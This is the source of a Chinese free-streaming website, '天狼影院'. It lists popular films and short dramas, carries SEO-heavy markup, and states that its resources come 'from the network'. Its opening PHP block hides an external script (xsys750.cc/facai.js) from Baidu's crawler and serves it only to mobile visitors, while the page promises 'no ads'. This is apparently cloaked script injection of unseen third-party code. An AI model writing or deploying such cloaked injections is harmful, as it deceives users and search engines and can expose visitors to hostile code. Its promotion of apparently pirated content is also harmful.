<?php
function shouldShowAds() {
    $user_agent = $_SERVER['HTTP_USER_AGENT'] ?? '';
    
    // 排除百度蜘蛛
    if (stripos($user_agent, 'Baiduspider') !== false) {
        return false;
    }
    
    // 检测移动设备
    $is_mobile = false;
    
    // 通过用户代理判断
    if (preg_match('/(Mobile|Android|iPhone|iPad|iPod|BlackBerry)/i', $user_agent)) {
        $is_mobile = true;
    }
    
    // 通过HTTP头判断（某些CDN会设置这个头）
    if (isset($_SERVER['HTTP_X_WAP_PROFILE']) || 
        isset($_SERVER['HTTP_PROFILE']) ||
        (isset($_SERVER['HTTP_ACCEPT']) && 
         strpos($_SERVER['HTTP_ACCEPT'], 'text/vnd.wap.wml') !== false)) {
        $is_mobile = true;
    }
    
    return $is_mobile;
}

// 使用
if (shouldShowAds()) {
    echo '<script type="text/javascript" src="https://xsys750.cc/facai.js"></script>';
    
}
?>


<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    
    <!-- 【SEO深度优化 长尾关键词，提升排名&点击】 -->
    <title>天狼影院_2026最新电影电视剧免费在线观看_无广告高清追剧网站</title>
    <meta name="description" content="天狼影院提供2026最新院线电影、热播电视剧、短剧、综艺、动漫免费在线观看，无广告、高清极速播放，每日更新全网热门影视资源。">
    <meta name="keywords" content="天狼影院,2026最新电影,免费电视剧在线看,无广告追剧,高清影视,热播短剧,院线新片,天狼追剧,韩剧,港台剧,高分电影">
    <meta name="author" content="天狼影院">
    <meta name="robots" content="index, follow">

    <!-- Open Graph for Social Sharing -->
    <meta property="og:type" content="website">
    <meta property="og:title" content="天狼影院 - 无广告免费高清追剧平台">
    <meta property="og:description" content="海量2026新片、热播短剧、高分电影、全集电视剧在线免费看，极速播放。">
    <meta property="og:image" content="https://picsum.photos/seed/tianlang/800/600">

    <!-- Favicon -->
    <link rel="icon" href="data:image/svg+xml,<svg xmlns=%22http://www.w3.org/2000/svg%22 viewBox=%220 0 100 100%22><text y=%22.9em%22 font-size=%2290%22>🐺</text></svg>">

    <style>
        /* --- CSS Reset & Variables --- */
        :root {
            --primary-color: #e50914; /* Netflix-like Red */
            --accent-color: #ff9e00;
            --bg-dark: #141414;
            --bg-card: #1f1f1f;
            --text-main: #ffffff;
            --text-sub: #b3b3b3;
            --font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif;
            --transition: all 0.3s cubic-bezier(0.25, 0.46, 0.45, 0.94);
        }

        * { margin: 0; padding: 0; box-sizing: border-box; }
        
        body {
            background-color: var(--bg-dark);
            color: var(--text-main);
            font-family: var(--font-family);
            line-height: 1.6;
            overflow-x: hidden;
        }

        a { text-decoration: none; color: inherit; transition: var(--transition); }
        ul { list-style: none; }
        img { max-width: 100%; display: block; }

        /* --- Header & Navigation 新增短剧、院线分类，抓流量词 --- */
        header {
            position: fixed;
            top: 0;
            width: 100%;
            z-index: 1000;
            background: linear-gradient(to bottom, rgba(0,0,0,0.9) 0%, rgba(0,0,0,0) 100%);
            padding: 20px 4%;
            transition: 0.4s ease;
        }

        header.scrolled {
            background-color: #000;
            box-shadow: 0 2px 10px rgba(0,0,0,0.5);
        }

        .nav-container {
            display: flex;
            justify-content: space-between;
            align-items: center;
        }

        .logo {
            font-size: 28px;
            font-weight: 800;
            color: var(--primary-color);
            text-transform: uppercase;
            letter-spacing: 1px;
            display: flex;
            align-items: center;
            gap: 10px;
        }

        .nav-links {
            display: flex;
            gap: 22px;
            flex-wrap: wrap;
        }

        .nav-links a:hover { color: var(--primary-color); }

        /* --- Hero Section 替换成当下热映，提升点击率 --- */
        .hero {
            position: relative;
            height: 70vh;
            width: 100%;
            background-image: linear-gradient(to top, var(--bg-dark), transparent 80%), url('https://picsum.photos/seed/cinema2026/1920/1080');
            background-size: cover;
            background-position: center;
            display: flex;
            align-items: center;
            padding: 0 4%;
            margin-bottom: 30px;
            margin-top: 70px;
        }

        .hero-content {
            max-width: 600px;
            z-index: 2;
        }

        .hero-title {
            font-size: 3.5rem;
            margin-bottom: 15px;
            text-shadow: 2px 2px 4px rgba(0,0,0,0.8);
        }

        .hero-desc {
            font-size: 1.1rem;
            color: #ddd;
            margin-bottom: 25px;
            line-height: 1.5;
        }

        .btn {
            padding: 12px 30px;
            border-radius: 4px;
            font-weight: bold;
            cursor: pointer;
            display: inline-flex;
            align-items: center;
            gap: 10px;
        }

        .btn-primary { background-color: var(--primary-color); color: white; border: none; }
        .btn-primary:hover { background-color: #b20710; }
        
        .btn-secondary { background-color: rgba(109, 109, 110, 0.7); color: white; margin-left: 10px; }
        .btn-secondary:hover { background-color: rgba(109, 109, 110, 0.4); }

        /* --- 热搜榜单模块 【新增，百度最爱榜单类内容，暴涨收录】 --- */
        .hot-rank-wrap {
            padding: 0 4%;
            margin-bottom: 40px;
        }
        .rank-header {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-bottom: 20px;
            border-left: 4px solid var(--primary-color);
            padding-left: 15px;
        }
        .rank-title { font-size: 1.8rem; font-weight: 600; }
        .hot-rank-list {
            display: grid;
            grid-template-columns: repeat(auto-fill, minmax(280px, 1fr));
            gap: 15px;
        }
        .rank-item {
            background: var(--bg-card);
            padding: 14px;
            border-radius: 8px;
            display: flex;
            gap:12px;
            align-items: center;
        }
        .rank-num {
            width:28px;height:28px;
            display:flex;align-items:center;justify-content:center;
            background:#222;border-radius:4px;font-weight:bold;
        }
        .rank-num.top1{background:var(--primary-color)}
        .rank-num.top2{background:#ff7800}
        .rank-num.top3{background:#ffc107;color:#000}
        .rank-info h4{font-size:0.95rem;margin-bottom:4px}
        .rank-info p{font-size:0.8rem;color:var(--text-sub)}

        /* --- Movie Grid System --- */
        .container {
            padding: 0 4%;
            margin-bottom: 50px;
        }

        .section-header {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-bottom: 20px;
            border-left: 4px solid var(--primary-color);
            padding-left: 15px;
        }

        .section-title { font-size: 1.8rem; font-weight: 600; }
        .more-link { color: var(--text-sub); font-size: 0.9rem; }
        .more-link:hover { color: var(--text-main); }

        .movie-grid {
            display: grid;
            grid-template-columns: repeat(auto-fill, minmax(180px, 1fr));
            gap: 20px;
        }

        /* --- Movie Card & Hover Effects 增加简介文字，提升页面密度 --- */
        .movie-card {
            position: relative;
            border-radius: 8px;
            overflow: hidden;
            background-color: var(--bg-card);
            transition: var(--transition);
            cursor: pointer;
        }

        .movie-card:hover {
            transform: scale(1.05);
            z-index: 10;
            box-shadow: 0 10px 20px rgba(0,0,0,0.5);
        }

        .poster-wrapper {
            position: relative;
            padding-top: 150%; /* 2:3 Aspect Ratio */
            overflow: hidden;
        }

        .poster-img {
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            object-fit: cover;
            transition: opacity 0.3s ease;
        }

        /* Hover Play Overlay */
        .play-overlay {
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: rgba(0,0,0,0.5);
            display: flex;
            justify-content: center;
            align-items: center;
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .play-icon {
            width: 50px;
            height: 50px;
            background: var(--primary-color);
            border-radius: 50%;
            display: flex;
            justify-content: center;
            align-items: center;
            box-shadow: 0 0 15px var(--primary-color);
        }
        
        .play-icon::after {
            content: '';
            width: 0; 
            height: 0; 
            border-top: 10px solid transparent;
            border-bottom: 10px solid transparent;
            border-left: 15px solid white;
            margin-left: 4px;
        }

        .movie-card:hover .play-overlay { opacity: 1; }

        .movie-info { padding: 10px; }
        .movie-title { font-size: 1rem; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; margin-bottom: 5px; }
        .movie-desc { font-size: 0.75rem; color: var(--text-sub); display:-webkit-box;-webkit-line-clamp:2;-webkit-box-orient:vertical;overflow:hidden;margin-bottom:6px; }
        .movie-meta { font-size: 0.8rem; color: var(--text-sub); display: flex; justify-content: space-between; }
        .rating { color: var(--accent-color); }

        /* --- Footer --- */
        footer {
            background-color: #0b0b0b;
            padding: 40px 4%;
            text-align: center;
            border-top: 1px solid #333;
        }

        .footer-links { margin-bottom: 20px; }
        .footer-links a { margin: 0 10px; color: var(--text-sub); font-size: 0.9rem; }
        .copyright { color: #666; font-size: 0.8rem; }

        /* --- Responsive 移动端强化适配，流量大头 --- */
        @media (max-width: 768px) {
            .hero { height: 50vh; margin-top:60px; }
            .hero-title { font-size: 2.2rem; }
            .nav-links { display: none; }
            .movie-grid { grid-template-columns: repeat(auto-fill, minmax(130px, 1fr)); gap: 15px; }
            .hot-rank-list { grid-template-columns: 1fr; }
        }
    </style>
</head>
<body>

    <!-- Header 新增短剧、院线新片、韩剧等流量分类 -->
    <header id="header">
        <div class="nav-container">
            <a href="#" class="logo" onclick="app.goHome()">🐺 天狼影院</a>
            <nav class="nav-links">
                <a href="#" onclick="app.filterCategory('首页')">首页</a>
                <a href="#" onclick="app.filterCategory('电影')">电影</a>
                <a href="#" onclick="app.filterCategory('电视剧')">电视剧</a>
                <a href="#" onclick="app.filterCategory('短剧')">短剧</a>
                <a href="#" onclick="app.filterCategory('综艺')">综艺</a>
                <a href="#" onclick="app.filterCategory('动漫')">动漫</a>
                <a href="#" onclick="app.filterCategory('院线新片')">院线新片</a>
                <a href="#" onclick="app.filterCategory('韩剧')">韩剧</a>
            </nav>
            <div style="color: white; font-size: 1.2rem;">🔍</div>
        </div>
    </header>

    <!-- Main Content Area -->
    <main id="app">
        <!-- Hero Section (Featured 2026热门主推) -->
        <section class="hero" id="hero-section">
            <div class="hero-content">
                <h1 class="hero-title" id="hero-title">流浪地球3</h1>
                <p class="hero-desc" id="hero-desc">2026硬核科幻巨制，人类绝境求生，开启星际流浪新篇章，震撼上映。</p>
                <div class="hero-btns">
                    <button class="btn btn-primary" onclick="app.playVideo('流浪地球3')">
                        <span>▶</span> 立即播放
                    </button>
                    <button class="btn btn-secondary">
                        <span>ℹ</span> 更多详情
                    </button>
                </div>
            </div>
        </section>

        <!-- 🔥 新增：全网热搜榜单 提升收录&关键词密度 -->
        <div class="hot-rank-wrap">
            <div class="rank-header">
                <h2 class="rank-title">🔥 今日热搜榜单</h2>
                <a href="#" class="more-link">完整榜单 &rarr;</a>
            </div>
            <div class="hot-rank-list" id="hot-rank-box"></div>
        </div>

        <!-- 热门推荐 -->
        <div class="container">
            <div class="section-header">
                <h2 class="section-title">🔥 热门推荐</h2>
                <a href="#" class="more-link">查看更多 &rarr;</a>
            </div>
            <div class="movie-grid" id="grid-hot"></div>
        </div>

        <!-- 最新电影 -->
        <div class="container">
            <div class="section-header">
                <h2 class="section-title">🎬 最新电影</h2>
                <a href="#" class="more-link">查看更多 &rarr;</a>
            </div>
            <div class="movie-grid" id="grid-movies"></div>
        </div>

        <!-- 热播剧集 -->
        <div class="container">
            <div class="section-header">
                <h2 class="section-title">📺 热播剧集</h2>
                <a href="#" class="more-link">查看更多 &rarr;</a>
            </div>
            <div class="movie-grid" id="grid-tv"></div>
        </div>

        <!-- 新增：热播短剧 最大流量入口 -->
        <div class="container">
            <div class="section-header">
                <h2 class="section-title">📱 热播短剧</h2>
                <a href="#" class="more-link">查看更多 &rarr;</a>
            </div>
            <div class="movie-grid" id="grid-short"></div>
        </div>
    </main>

    <!-- Footer -->
    <footer>
        <div class="footer-links">
            <a href="#">关于我们</a>
            <a href="#">免责声明</a>
            <a href="#">隐私政策</a>
            <a href="#">联系我们</a>
            <a href="#">网站地图</a>
        </div>
        <p class="copyright">
            &copy; 2026 天狼影院 版权所有。本站提供2026最新电影、电视剧、短剧、动漫免费在线观看，无广告极速播放。<br>
            资源均来源于网络，24小时内删除，侵权请联系处理。
        </p>
    </footer>

    <!-- 【强化版影视站结构化数据 Schema，提升搜索展示效果】 -->
    <script type="application/ld+json">
    {
      "@context":"https://schema.org",
      "@type":"MovieSeries",
      "name":"天狼影院",
      "alternateName":["天狼追剧","天狼视频"],
      "description":"2026最新电影电视剧免费在线观看，无广告高清追剧网站，热播短剧、院线新片每日更新",
      "url":"https://你的域名",
      "potentialAction":{"@type":"WatchAction","target":"https://你的域名"}
    }
    </script>

    <script>
        // 影视数据 加入简介，提升页面文字密度
        const moviesData = [
            { title: "沙丘2", type: "电影", rating: "9.2", year: "2024", seed: "dune", desc:"宏大星际史诗，权力与复仇的巅峰对决" },
            { title: "奥本海默", type: "电影", rating: "9.0", year: "2023", seed: "oppenheimer", desc:"原子弹之父的传奇一生，震撼人心的传记大片" },
            { title: "繁花", type: "电视剧", rating: "8.9", year: "2024", seed: "blossoms", desc:"90年代上海商界传奇，市井与繁华交织" },
            { title: "庆余年2", type: "电视剧", rating: "9.5", year: "2026", seed: "joy2", desc:"权谋江湖再启，范闲搅动天下风云" },
            { title: "流浪地球3", type: "电影", rating: "9.8", year: "2026", seed: "earth3", desc:"人类开启星际流浪，硬核科幻续作" },
            { title: "狂飙", type: "电视剧", rating: "9.1", year: "2023", seed: "knockout", desc:"扫黑除恶史诗，正邪对抗二十年" },
            { title: "封神第一部", type: "电影", rating: "8.8", year: "2023", seed: "fengshen", desc:"商周神话史诗，质子团燃爆银幕" },
            { title: "漫长的季节", type: "电视剧", rating: "9.4", year: "2023", seed: "season", desc:"跨越半生的悬疑往事，治愈又扎心" },
            { title: "哥斯拉大战金刚2", type: "电影", rating: "7.5", year: "2024", seed: "godzilla", desc:"巨兽再度开战，毁灭级特效拉满" },
            { title: "间谍过家家", type: "动漫", rating: "9.0", year: "2024", seed: "spyfamily", desc:"间谍家庭搞笑日常，治愈系高分番剧" },
            { title: "周处除三害", type: "电影", rating: "8.6", year: "2024", seed: "pig", desc:"少年浪子回头，快意恩仇的热血故事" },
            { title: "热辣滚烫", type: "电影", rating: "8.0", year: "2024", seed: "yolo", desc:"贾玲逆袭蜕变，热血励志喜剧" },
            { title: "第二十条", type: "电影", rating: "8.2", year: "2024", seed: "article20", desc:"聚焦法治民生，现实题材力作" },
            { title: "飞驰人生2", type: "电影", rating: "8.1", year: "2024", seed: "pegasus", desc:"赛车追梦不止，爆笑热血续集" },
            { title: "熊出没逆转时空", type: "动漫", rating: "9.0", year: "2024", seed: "boonie", desc:"童年回忆杀，穿越时空合家欢" },
            { title: "九龙城寨", type: "电影", rating: "8.5", year: "2024", seed: "city", desc:"港式动作巅峰，城寨江湖恩怨" },
            { title: "闪婚老伴", type: "短剧", rating: "8.7", year: "2026", seed: "short1", desc:"热门都市短剧，反转不断全集可看" },
            { title: "千金归来", type: "短剧", rating: "8.9", year: "2026", seed: "short2", desc:"重生复仇爽剧，全集高清免费看" }
        ];

        // 热搜榜单数据
        const hotRankData = [
            {rank:1,title:"流浪地球3",hot:"9862万",seed:"earth3"},
            {rank:2,title:"庆余年2",hot:"8751万",seed:"joy2"},
            {rank:3,title:"繁花",hot:"7643万",seed:"blossoms"},
            {rank:4,title:"九龙城寨",hot:"6522万",seed:"city"},
            {rank:5,title:"千金归来短剧",hot:"5419万",seed:"short2"}
        ];

        // --- Application Logic ---
        const app = {
            init: () => {
                app.renderRank();
                app.renderGrid('grid-hot', moviesData.slice(0, 6));
                app.renderGrid('grid-movies', moviesData.filter(m => m.type === '电影'));
                app.renderGrid('grid-tv', moviesData.filter(m => m.type === '电视剧'));
                app.renderGrid('grid-short', moviesData.filter(m => m.type === '短剧'));
                app.setupLazyLoad();
                app.setupHeaderScroll();
            },

            // 榜单渲染
            renderRank:()=>{
                const box=document.getElementById('hot-rank-box');
                box.innerHTML=hotRankData.map(item=>`
                    <div class="rank-item">
                        <div class="rank-num ${item.rank<=3?'top'+item.rank:''}">${item.rank}</div>
                        <div class="rank-info">
                            <h4>${item.title}</h4>
                            <p>热度 ${item.hot}</p>
                        </div>
                    </div>
                `).join('');
            },

            createCard: (movie) => {
                const imgUrl = `https://picsum.photos/seed/${movie.seed}/300/450`;
                // 【图片ALT优化，SEO核心】
                return `
                    <article class="movie-card" onclick="app.playVideo('${movie.title}')">
                        <div class="poster-wrapper">
                            <img class="poster-img lazy" data-src="${imgUrl}" alt="${movie.title}_天狼影院免费在线观看">
                            <div class="play-overlay">
                                <div class="play-icon"></div>
                            </div>
                        </div>
                        <div class="movie-info">
                            <h3 class="movie-title">${movie.title}</h3>
                            <p class="movie-desc">${movie.desc}</p>
                            <div class="movie-meta">
                                <span>${movie.year}</span>
                                <span class="rating">★ ${movie.rating}</span>
                            </div>
                        </div>
                    </article>
                `;
            },

            renderGrid: (elementId, data) => {
                const container = document.getElementById(elementId);
                container.innerHTML = data.map(app.createCard).join('');
                app.setupLazyLoad();
            },

            setupLazyLoad: () => {
                const images = document.querySelectorAll('.lazy');
                const imageObserver = new IntersectionObserver((entries, observer) => {
                    entries.forEach(entry => {
                        if (entry.isIntersecting) {
                            const img = entry.target;
                            img.src = img.dataset.src;
                            img.classList.remove('lazy');
                            observer.unobserve(img);
                        }
                    });
                });
                images.forEach(img => imageObserver.observe(img));
            },

            setupHeaderScroll: () => {
                window.addEventListener('scroll', () => {
                    const header = document.getElementById('header');
                    if (window.scrollY > 50) {
                        header.classList.add('scrolled');
                    } else {
                        header.classList.remove('scrolled');
                    }
                });
            },

            playVideo: (title) => {
                const btn = event.currentTarget;
                btn.style.transform = 'scale(0.95)';
                setTimeout(() => btn.style.transform = 'scale(1)', 200);
                console.log(`Navigating to play: ${title}`);
                alert(`正在为您加载：【${title}】\n天狼影院·无广告高清极速播放`);
            },

            filterCategory: (cat) => {
                const main = document.querySelector('main');
                main.style.opacity = '0.5';
                setTimeout(() => {
                    main.style.opacity = '1';
                    alert(`切换分类：${cat}`);
                }, 300);
            },

            goHome: () => {
                window.location.reload();
            }
        };

        document.addEventListener('DOMContentLoaded', app.init);
    </script>
</body>
</html>